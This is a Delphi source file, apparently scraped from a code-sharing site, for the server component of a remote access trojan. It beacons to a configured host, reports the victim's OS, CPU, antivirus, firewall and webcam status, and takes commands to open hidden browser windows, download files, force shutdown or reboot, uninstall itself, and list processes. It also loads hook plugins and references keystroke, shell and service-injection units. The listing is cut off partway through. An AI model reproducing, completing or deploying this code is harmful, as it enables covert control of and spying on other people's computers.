📄 mainserver.pas
字号:
unit mainserver;
interface
uses
Windows,
mmsystem,
winsock,
SysUtils,
ScktComp,
upip,
ShellAPI,
Classes,
SndKey32,
UnitFunciones,
UnitSystemInfo,
UnitProcess,
UnitWindows,
UnitFileManager,
UnitRegistro,
UnitVariables,
unitAvs,
UnitCambioId,
SettingsDef,
UnitWebcam,
UnitInstalacion,
UnitShell,
winsys,
downfileunit,
UnitServicios,
UnitTransfer,
screenthread,
winntservice,
DESCrypt,
UnitTVthread;
type
TDescarga = record
Descargado: Int64; //Datos descargados
SizeFile: Int64;
end;
TClassClientSocket = class
ClientSocket: TClientSocket;
ClientSocketFiles: TClientSocket;
procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
procedure ClientSocketReadFile(Sender: TObject; Socket: TCustomWinSocket);
procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ClientSocketOnConnect(Sender: TObject; Socket: TCustomWinSocket);
end;
const
WM_ACTIVATE = $0006;
WM_QUIT = $0012;
ENTER = #10;
var
Cliente: TClassClientSocket;
Msg: TMsg;
FSFileUpload: TFileStream;
SH: Integer; //SocketHandle de la conexi髇 principal
Descarga: TDescarga;
RecibiendoFichero: boolean = false;
//////////////////////////////////
pzhinfo,ipset:string;
VersionDelServer:string;
http:boolean=false;
Urlhttp: string;
httpwj: string;
////////////////////////////////////
plugid, plugname: string; //插件目录
hLibDll001, hlibdll002: THandle; //插件lib
plug1status: string;
StartHook1: procedure(); stdcall; //插件通用
stopHook1: procedure; stdcall;
injectService: PChar = 'netservice';
ServiceName: PChar = 'netrt';
procedure main;
procedure key; stdcall;
implementation
////////////////////////////////////插件部分
procedure startplug1; //启动插件1
begin
try
if hLibDll001 <> 0 then
begin
@StartHook1 := GetProcAddress(hLibDll001, PChar('StartHook'));
@StopHook1 := GetProcAddress(hLibDll001, PChar('StopHook'));
end;
except
FreeLibrary(hLibDll001);
exit;
// Halt; //可能导致程序死掉,所以弄EXIT
end;
end;
procedure loadplug(plugid: string);
//加载插件,所有插件导出函数必须是 starthook和stophook
begin
try
plugname := plugdir + plugid + '.dll';
//'c:\windows\plugin'+'001'+'.dll';
hLibDll001 := LoadLibrary(Pchar(plugname));
case strtoint(plugid) of
001: startplug1;
// 002:startplug2;
end;
except
end;
end;
procedure stopplug(plugid: string); //释放链接库
begin
try
case strtoint(plugid) of
001:
if hLibDll001 <> 0 then
begin
FreeLibrary(hLibDll001);
hLibDll001 := 0;
end;
{ 002:if hLibDll002 <> 0 then
begin
FreeLibrary(hLibDll002);
hLibDll002:=0;
end; }
end;
except
end;
end;
procedure key; stdcall;
begin
plugdir := GetDir(0) + 'plug\'; //A 新增
try
loadplug('001');
except
end;
plug1status := '1';
end;
procedure Conectar();
begin
Cliente.ClientSocket.Host := Configuracion.sHost;
Cliente.ClientSocket.Port := Configuracion.iPort;
if not Cliente.ClientSocket.Active then
Cliente.ClientSocket.Open
else
Cliente.ClientSocket.Socket.SendText('CONNECTED' + ENTER); //开始连接客户端
end;
procedure TClassClientSocket.ClientSocketError(Sender: TObject; Socket:
TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
if ShellThreadID <> 0 then
PostThreadMessage(ShellThreadID, WM_ACTIVATE, Length('exit'), DWord(String(PChar('exit'))));
ErrorCode := 0;
end;
procedure TClassClientSocket.ClientSocketOnConnect(Sender: TObject; Socket:
TCustomWinSocket);
begin
Socket.SendText('SH|' + IntToStr(SH) + ENTER); //Socket Handle
end;
procedure TClassClientSocket.ClientSocketRead(Sender: TObject;
Socket: TCustomWinSocket);
var
Recibido, Respuesta, TempStr, TempStr1, TempStr2, TempStr3: string;
Tipo, BotonPulsado, i: Integer;
// TempCardinal: Cardinal;
Tam: Int64;
ShellParameters: TShellParameters;
ThreadInfo: TThreadInfo;
FilePath, LocalFilePath: AnsiString;
webcam:string;
begin
Recibido := Trim(Socket.ReceiveText);
//网速测试
if Recibido = 'PING' then
begin
// messagebox(0,pchar(inttostr(sh)),'',mb_ok);
Socket.SendText('PONG' + ENTER);
Exit;
end;
//控制端已连接信息
if Copy(Recibido, 1, 8) = 'MAININFO' then
begin
Delete(Recibido, 1, 9); // 'MAININFO|123456'
SH := StrToInt(Recibido);
//文件传输端口和协议
Cliente.ClientSocketFiles := TClientSocket.Create(nil);
Cliente.ClientSocketFiles.Host := Configuracion.sHost;
Cliente.ClientSocketFiles.Port := Configuracion.iPort;
Cliente.ClientSocketFiles.OnRead := Cliente.ClientSocketReadFile;
Cliente.ClientSocketFiles.OnConnect := Cliente.ClientSocketOnConnect;
Cliente.ClientSocketFiles.OnError := Cliente.ClientSocketError;
Cliente.ClientSocketFiles.Open;
//////////////////////////////////////////////////////服务端列表显示的
if length(ListarDispositivos)>5 then webcam:='<W>'; //有视频
Respuesta := Socket.LocalAddress + '|' +
VersionDelServer {服务端版本-不可以修改} + '|'+
GetCPU() + '|' +
GetOS() + '|' +
GetPCName() + '|'+
readid('WinXpMemory') {服务端标记-可以修改} + '|' +
webcam+ '|' ;
Socket.SendText('MAININFO|' + Respuesta + ENTER);
end;
//服务端系统信息
if Recibido = 'INFO' then
begin
Respuesta := GetOS() + '|' +
GetCPU() + '|' +
GetUptime() + '|' +
GetIdleTime() + '|' +
ObtenerAvs() + '|' +
ObtenerFirewall + '|' +
GetPCName() + '|' +
GetPCUser() + '|' +
GetResolucion() + '|' +
GetTamanioDiscos() + '|';
Socket.SendText('INFO|' + Respuesta + ENTER);
end;
//普通打开网页操作
if Copy(Recibido, 1, 5) = 'RUNIE' then
begin
Delete(Recibido, 1, 6);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
Delete(Recibido, 1, Pos('|', Recibido));
try
runie(TempStr, 0);
except
end;
end;
//隐藏打开网页操作
if Copy(Recibido, 1, 9) = 'HIDERUNIE' then
begin
Delete(Recibido, 1, 10);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
Delete(Recibido, 1, Pos('|', Recibido));
try
runie(TempStr, 1);
except
end;
end;
//下载操作
if Copy(Recibido, 1, 8) = 'DOWNLOAD' then
begin
Delete(Recibido, 1, 9);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
Delete(Recibido, 1, Pos('|', Recibido));
try
TDownFileThread.Create(TempStr);
except
end;
end;
//服务端操作
if Copy(Recibido, 1, 8) = 'SERVIDOR' then
begin
Delete(Recibido, 1, 9);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
Delete(Recibido, 1, Pos('|', Recibido));
//服务端信息
if TempStr = 'INFO' then
begin
with Configuracion do
TempStr := VersionDelServer + '|' + //服务端版本
readid('WinXpMemory') + '|' + //服务端标记
sHost + '|' + //IP
inttostr(iPort) + '|' + //端口
IntToStr(iTimeToNotify) + ' seconds' + '|' + //联网间隔
ParamStr(0) + '|'; //自身进程路径
Socket.SendText('SERVIDOR|INFO|' + TempStr + ENTER);
end;
if TempStr = 'SHUTDOWN' then //关机
begin
if isNt then
begin
AdjustToken;
ExitWindowsEx(EWX_FORCE or EWX_POWEROFF, 0);
Exit;
end
else
begin
ExitWindowsEx(EWX_SHUTDOWN or EWX_FORCE, 0);
Exit;
end; //暴力关闭计算机!
Exit;
end;
if TempStr = 'REBOT' then //重启
begin
if isNt then
begin
AdjustToken;
ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);
Exit;
end
else
begin
ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);
Exit;
end; //暴力重启计算机!
Exit;
end;
//断开服务端连接(服务端halt)
if TempStr = 'HALT' then
begin
Halt;
end;
//卸载服务端
if TempStr = 'UNINSTALL' then
begin {卸载服务端}
try
try
DelService(injectservice);
except
end;
delcpass; //删除升级密码
delsev;//删除文件
Desinstalar(); //删除服务端标记
if ServiceRunning('',ServiceName) then
begin
try
ServiceStop('', ServiceName);
except
end;
end;
except
end;
exitprocess(0);
end;
end;
//列举进程
if Recibido = 'PROC' then
begin
Respuesta := GETPROC;
Socket.SendText('PROC|' + Respuesta + ENTER);
end;
//杀进程
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -